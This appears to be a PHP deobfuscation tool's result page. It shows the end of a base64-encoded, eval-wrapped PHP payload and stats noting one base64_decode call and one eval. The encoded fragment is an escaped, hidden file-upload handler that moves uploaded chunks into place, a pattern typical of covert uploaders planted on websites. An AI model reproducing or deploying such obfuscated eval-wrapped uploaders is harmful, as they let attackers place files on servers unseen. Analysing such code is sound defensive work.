Hg3NVx4NzRceDIwXHg3M1x4NzRcMTYyXDE0NVwxNDFcMTU1Iik7IH0gQGZjbG9zZSgkaW4pOyBAZmNsb3NlKCRvdXQpOyBAdW5saW5rKCRfRklMRVNbIlx4NjZcMTUxXHg2Y1wxNDUiXVsiXHg3NFwxNTVceDcwXHg1Zlx4NmVcMTQxXHg2ZFx4NjUiXSk7IH0gZWxzZSB7IHZlcmJvc2UoMCwgIlx4NDZceDYxXDE1MVx4NmNceDY1XHg2NFx4MjBcMTY0XHg2Zlx4MjBceDZmXDE2MFwxNDVceDZlXHgyMFx4NmZceDc1XDE2NFx4NzBcMTY1XHg3NFx4MjBceDczXHg3NFx4NzJceDY1XHg2MVx4NmQiKTsgfSBpZiAoISRjaHVua3MgfHwgJGNodW5rID09ICRjaHVua3MgLSAxKSB7IHJlbmFtZSgieyRmaWxlUGF0aH1cNTZceDcwXDE0MVwxNjJceDc0IiwgJGZpbGVQYXRoKTsgfSB2ZXJib3NlKDEsICJcMTI1XHg3MFx4NmNceDZmXDE0MVwxNDRcNDBceDRmXDExMyIpOyB9IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 cc21c29699f82291f90af0ed7e8ab52d
Eval Count 1
Decode Time 651 ms